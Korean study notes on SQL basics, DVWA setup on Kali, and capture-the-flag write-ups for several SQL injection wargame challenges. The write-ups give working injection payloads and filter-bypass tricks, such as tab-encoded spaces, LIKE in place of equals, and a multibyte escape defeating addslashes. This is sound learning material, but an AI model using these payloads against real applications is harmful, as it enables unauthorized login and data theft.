WEB2 study 4주차 | DB 실습, sql injection

문서화

server

네트워크 -> 클라이언트로 서비스 제공

웹 서버: 클라이언트가 페이지 요청 시 정적 컨텐츠 제공 *정적 컨텐츠: .html, png, css 등…

작동순서

  1. 클라이언트가 서비스 요청
  2. 요청에 응답하여 처리
  3. 서버 처리 결과를 반환
  4. 클라이언트가 반환값을 받음

DB

database : 데이터의 집합 DBMS : 데베를 관리하는 소프트웨어 RDBMS(관계형 데이터베이스) : 데이터에 관계 개념 부여 table, field, row로 구성 사용되는 언어 -> SQL

sql injection

취약점을 이용해 sql문 삽입하여 db가 비정상적인 동작을 유도하는 공격이다. 임의 계정에 로그인/계정 삭제/데이터베이스 정보 유출 등이 가능하다.

SQL 연산자    
OR |  
AND (or보다 우선순위) &&  
like =  
SQL 문자열  
' 문자 데이터 구분 기호
?변수=값 url 매개변수
; 쿼리 구분 기호
SQL 주석  
-- 뒤에 공백이 있어야 주석처리 가능
# 뒤에 공백 없어도 주석처리 가능(url에선 %23)
/**/ 기호 사이 문자열 주석 처리
SQL 함수  
replace(컬럼 또는 문자열, 바꾸려는 문자열, 바뀔 문자열) 문자열 치환
substr(문자열, 자르고자 하는 처음 위치, 자르려고 하는 길이) 문자열 자르기
database() 현재 db 이름 반환
length() 길이 반환

MySQL 실습

데이터 베이스 swu 생성 CREATE DATABASE 데이터베이스_제목;

테이블 courses 생성 USE 접속할_데이터베이스_제목; CREATE TABLE 테이블_이름(이름 데이터_타입(), 이름 데이터_타입() … );

데이터 삽입 type:전필 lec:컴퓨터 알고리즘 credit:3 type:전필 lec:현대 암호학과 기초 credit:3 type:전선 lec:C++ 프로그래밍 credit:3 type:전선 lec:리눅스 프로그래밍 credit:3 type:졸필 lec:소프트웨어 개발 실무 영어 credit:1 type:전필 lec:진로 탐색 세미나 credit:1 type:교필 lec:기독교개론 credit:2 type:교필 lec:바롬인성교육 credit:1 type:교선 lec:대학 생활과 진로 탐색 credit:1

데이터 삽입 insert into 테이블명 values(데이터값 나열),(데이터값 나열),(데이터값 나열) …;

수정은 다음과 같이 update 테이블명 set 수정할 값 입력 where 수정하는 부분 조건

*데이터 값 출력의 기본 틀 select (출력할 컬럼 나열) from (출력할 테이블) where (조건식)

“전공”의 type,lec 검색 SELECT type,lec FROM courses WHERE type IN(‘전필’,’전선’); (칼럼명) in(해당 데이터): 칼럼명에 해당 데이터가 입력된 row만 선택

학점이 3점 미만인 강의의 lec, credit 검색 SELECT lec, credit FROM courses WHERE credit in(‘1’,’2’); 앞과 같은 조건식 사용

SELECT lec, credit FROM courses WHERE credit BETWEEN 1 AND 2 ; (칼럼명) BETWEEN n AND m: 칼럼명에 n부터 m까지의 값이 입력된 row 선택

프로그래밍 강의 모든 레코드 검색 SELECT * FROM courses WHERE lec LIKE ‘%프로그래밍%’; LIKE ‘’: 따옴표 안 문자열 검색 ‘%문자열’: 문자열로 끝나는 row들 검색 ‘문자열%’: 문자열로 시작하는 row들 검색 ‘%문자열%’: 문자열이 포함되는 row들 검색

학점 수 내림차순으로 정렬해 모든 레코드 검색 SELECT * FROM courses ORDER BY credit DESC; ORDER BY (칼럼명) DESC: 칼럼명을 내림차순으로 정렬 ORDER BY (칼럼명) ASC: 칼럼명을 올림차순으로 정렬

소프트웨어 개발 실무영어의 type을 전선+졸필로, 강의명을 소프트웨어 개발 실무영어1로 수정 UPDATE courses SET type=’전선+졸필’, lec=’소프트웨어 개발 실무영어1’ WHERE lec=’소프트웨어 개발 실무 영어’ UPEDATE 내용 여러 개 가능, 바꿀 칼럼을 조건식으로 써도 무방

Kali에 dvwa 설치

  1. 칼리 리눅스를 실행해준다

2. apache2 세팅 sudo 권한 필요

# systemctl start apache2
# systemctl enable apache2
# systemctl status apache2

3. mysql 세팅 sudo 권한 필요

# systemctl start mysql
# systemctl enable mysql
# systemctl status mysql

DB 만들기

# mysql -u root -p

MariaDB [(none)]> create database dvwa;
MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';
MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;
MariaDB [(none)]> flush privileges;

4. DVWA 설치

# cd /var/www/html
# git clone https://github.com/digininja/DVWA.git 
# cd /var/www/html/DVWA/config
# cp config.inc.php.dist config.inc.php

5. DVWA 접속

http://127.0.0.1/DVWA/login.php

접속 후 admin/password로 로그인

create/reset database 클릭

COBOLT 라이트업

?id=admin뒤를 주석처리 위 쿼리문을 입력하면 $result[’id’] == ‘admin’의 조건문을 충족시키고 (solve ‘cobolt’) 뒤에 pw부분은 주석처리 되어서 알 필요가 없다 ?id=admin —%20

왜 안 풀리나 했더니 따옴표를 닫아주지 않았다 ?id=admin%27—%20으로 입력

simple_sqli_chatgpt 라이트업

/ : 초기 사이트 /login : 로그인 화면

userlevel을 get함 userid는 admin이고, userlevel은 0일 때 플래그 출력

query_db 함수

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

db에서 query를 실행하고 조건에 따라 rv 반환

login창에 userlevel을 0으로 하면 query_db에 one=True이기 때문에 앞에 있는 guest로 로그인이 됨 들어갈 쿼리문은 다음과 같음 f”select * from users where userlevel=’{userlevel}’” 0’ and userid=’admin

…자꾸 안되길래 다른 라업을 참고했더니 연산자를 잘못 기입했다 0’ and userid==’admin

old 27 라이트업

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

‘id’가 ‘admin’이면 풀리는 문제이다. ‘no’부분을 입력받는다 그냥 no값에 아무값이나 넣어주고 or id=’admin’처리하면 될 거 같다 실행되는 문장 “select id from chall27 where id=’guest’ and no=({$_GET[‘no’]})”

삽입할 쿼리문 ‘2’) or id=’admin’%23 no hack이라 뜬다

등호도 필터링일 줄 몰랐다…

등호는 like나 in으로 우회 공백은 ‘+’로 대체

0+or+id+like+admin 안되길래 조금 더 우회해보다가 라업을 봤더니 일단 소괄호는 변수처리가 안되기 때문에 닫고 뒤에 남은 괄호를 주석처리를 해줘야 했다 그리고 ‘+’도 공백 우회로 알고 있는데 왜때문인지 자꾸 no hack이라고 떠서 %09로 수정했다 처음 접근은 아무값 넣기+id 검색이었는데 라업을 참고해서 아무값 넣기+no=2로 수정했다

0)%09or%09no%09like%092–%09

old 50 라이트업

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

‘lv’가 3이면 풀리는 문제

id 입력 → addslashes → euc-kr에서 utf-8로 인코딩 pw 입력 → addslashes *addslashes: 특수문자 앞에 백슬래시 추가

뭔가 pw로 하면 인젝션 할 수 있을 거 같은데 필터링이 존재한다

필터링하는 항목들 id는 추가적으로 union 문자열이 있는지 검사함

일단 id=guest pw=guest는 lv=1 id에 guest 넣고 OR로 lv=3+주석처리문, pw에는 아무값이나 입력하면 되지 않을까…

select lv from chall50 where id=’{$_GET[‘id’]}’ and pw=md5(‘{$_GET[‘pw’]}’) 입력할 쿼리문 ?id=abcd’ or lv=3 #&pw=guest

addslashes 우회를 찾아보니 euc-kr에서 utf-8 인코딩도 같은 방법으로 우회한다고 한다 멀티바이트: 백슬래시 앞에 %a1~%ff가 들어가면 한 문자로 취급 ?id=ab%cd’ or lv like 3 # &pw=guest

…안 풀려서 라업 참고했다 id와 pw 모두 활용해야 하는 문제였다 id에 아무값+주석 열고 pw에 주석 닫고+union select 3+주석처리

*UNION SELECT union: 합집합 연산자(결과 다 보여줌), 이 과정에서 중복 제거 (select문1) UNION (select문2) 1,2 과정에서 나온 결과에서 중복은 제거하고 모두 출력

입력할 쿼리문 ?id=ab%cd’/&pw=/ union select 3 — 필터링 우회 처리 ?id=ab%cd%27%2F%2A&pw=%2A%2F%09union%09select%093%2D%2D%09 %cd%27 → 멀티바이트를 이용해서 addslashes, utf-8 인코딩 우회 공백 대신 %09 사용